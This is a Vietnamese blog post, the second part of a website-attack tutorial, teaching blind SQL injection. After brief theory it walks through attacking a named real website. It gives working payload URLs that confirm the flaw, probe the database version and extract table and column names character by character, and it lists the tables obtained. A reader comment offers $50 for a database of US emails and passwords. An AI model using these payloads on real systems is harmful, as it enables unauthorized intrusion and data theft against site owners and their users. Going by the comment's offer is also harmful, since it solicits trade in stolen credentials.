Chào các bạn.Hôm trước đã hướng dẫn các bạn tấn công qua lỗi Inband Sql injection(http://www.blog.kenjivn.net/2012/06/huong-dan-tan-cong-website-p1.html). Hôm nay mình sẽ hướng dẫn các bạn tấn công thông qua lỗi Blind Sql injection.
Điểu kiện đọc bài viết này
+ Đã đọc kỹ bài viết tấn công website P1 của mình và hiểu vì sao mình lại thực hiện những câu truy vấn như thế.
+ Đã thank vào bài viết tấn công website P1 của mình
Cách khai thác này khá là lâu,vì thế đòi hỏi bạn phải kiên trì đọc và hiểu từ đầu đến cuối
Phần 1:Lý thuyết
SQL Injection là phương thức khai thác dựa vào quá trình trao đổi dữ liệu giữa người dùng và Web Application. Việc ứng dụng không kiểm tra các giá trị đầu vào đẫn đến attacker có thể cho thực thi các SQL query không mong muốn can thiệp vào database làm thay đổi, thêm, xem hay xóa các dữ liệu.
Hacker thường khai thác bằng các gửi các giá trị đầu vào để server sinh các thông tin lỗi để từ đó tùy biến theo câu truy vấn gốc của người thiết kế.
Nếu Web Application được customize các trang lỗi hay các trang lỗi không trả về, phải làm thế nào? Hãy thử khai thác với phương thức: blind sql injection.
Sự khác nhau giữa cơ bản giữa Inband và Blind
InBand:Hiện số column lỗi ra,ta có thể khai thác dễ dàng.
Blind :Không hiện số column lỗi.
Lấy ví dụ câu truy vấn dạng Blind thế này
Câu truy vấn 1.
Trích:
Select content
From news
Where new_id=$_get[‘id’] and 1=1
Trích:
Select content ,comment
From news
Where news_id=$_get[‘id’]
Đầu tiền mình giới thiệu các hàm hữu ích khi khai thác thông qua lỗi Blind sql injection.
Trích:
[CODE]convert(int,(function/query)):Convert giá trị của câu query phía sau ra kiểu int
substring(string,vị trí,số lương):Hàm cắt chuỗi
Ví dụ substring('mình',1,2) :Nghĩa là từ vị trí số 1 lấy 2 giá trị.Kết quả là kt
ascii():Kết quả trả về là giá trị mã ascii
Ví dụ:ascii(A) kết quả là 65
limit(query,x,y) :Tương tự substring()
Victim:http://www.julianfantino.ca (Cái này có đứa trong xgroup hỏi mà mấy đứa reply thì cứ xài tool)có đứa đưa query thì dấu cha cái link.Thôi thì mình hướng dẫn vậy.( http://www.xgroup.vn/XgR/showthread.php?t=9765 )
Bước 1 Kiểm tra lỗi
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920'
Thử xem nó thực hiện câu truy vấn không.
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and 1=0
Mã:
[HTML]
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and 1=1
Vậy là nó thực hiện câu truy vấn đăng sau rồi nhé
Bước 2: Kiểm tra version của nó
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),1,1)=5
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),1,1)>5
Vậy kết luận version của nó là 5. mấy đó.Nói chung là lớn hơn 4 là ok rồi.vì có thể lấy được thông tin table từ database hệ thông information_schema.
Đên đây mình dừng việc kiểm tra lại.Bạn nào muốn biết 5.0 mấy thi dùng tiếp câu truy vấn
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),2,1)=0 --
Bước 3. Lấy table_name từ table tables trong data hệ thống information_schema
Đầu tiên ta lấy ký tự đầu tiên của table đầu tiên.Câu truy vấn khá dễ hiểu vì mình đã giải thích các hàm ở trên hết rồi.
Trích:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --
Trích:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>65 --
Lấy ký tự thứ 2 của table đầu tiên
Trích:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>99 --
=>Kết quả trả về bình thường
Trích:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>100 --
Làm tương tự các bạn sẽ được các ký tự khác của table đầu tiên.và ra table đầu tiên có giá trị là AddressTypes
Tương tự để tìm table thứ 2,các bạn chỉ việc thay limit 1,1 thành limit 2,1
Giá trị các table sau khi lấy là LanguageCategoryRe ,JSLibrary,JSConfigDomains ,JSConfig ,INTERFACE_ELEMENTS ,GroupOwnershipPermissions ,GeoSearchRegions ,GeoSearchPostalCodes ,GeoSearchDistrictsToPostalCodes,GeoSearchDistrict s,GeoSearchContacts,GeoSearchContactTypes,FILE_CAT EGORIES,FILES,DomainLibraryIncludes,DomainLanguage s,DefaultSequence_seq,Countries,ContentArticleLink s,ContentArticleGroups,Component,CompMailouts,Cate goryType,Category,CategoriesToArticles,CanadaPostA ddresses,AuxillaryGroupLookup,ArticleSequence_seq ,Addresses,AddressTypes,ARTICLE_MODULES
Bước 4.Lấy column từ những table đã khai thác được
Lấy ký tự đầu tiên của column đầu tiên trong table AddressTypes
Trích:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ascii(substring((select column_name from information_schema.columns where table_name='AddressTypes' limit 1,1),1,1))>77 --
Trích:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920
and ascii(substring((select column_name from information_schema.columns where table_name='AddressTypes' limit 1,1),1,1))>78 --
=>Khác thường(rỗng)
Vậy ký tự đầu tiền có giá trị trong ascii là 78 là N
.....
Làm tương tự ta được column đầu tiên là Name
Tiếp tục thay limit 2,1 để lấy column thứ 2,ta được column thứ 2 có tên là Id
Sau đó tiếp tục khai thác column của những table khác nhé.Cố gắng lên
Bước 5.Lấy giá trị từ những column khai thác.(Đến đây tớ đuối quá rồi,table mình khác ko có mới đau chứ )
Cách lấy:
Trích:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ascii(substring((select gia tri colum from gia tri table limit 1,1),1,1))=0 --
Cách khai thác này đòi hỏi các bạn phải kiên trì,mà thường gặp loại này thì xài tools,khi nào xài tools không được thì mới query bằng tay Những tool thì các bạn không hiểu bản chất
Chú ý:Trên đây là cách khai thác thông thường từ thời xa xưa,hiện nay có 1 cách mới nhanh hơn,show ra table luôn đó cách này thấy havij chưa hỗ trợ,havij xài cách get từng ký tự)=>Cách này mình sẽ hướng dẫn cho các bạn ở P3.
i need database i need see database usa email+pass .i see this database your pc By program TeamViewer . i pay 50 $ pm
Trả lờiXóaI want to sense the database on your computer. I want to see the database before the payment process
yahoo : ronitarronitar
gmail : ronitarronitar
skype : ronitarronitar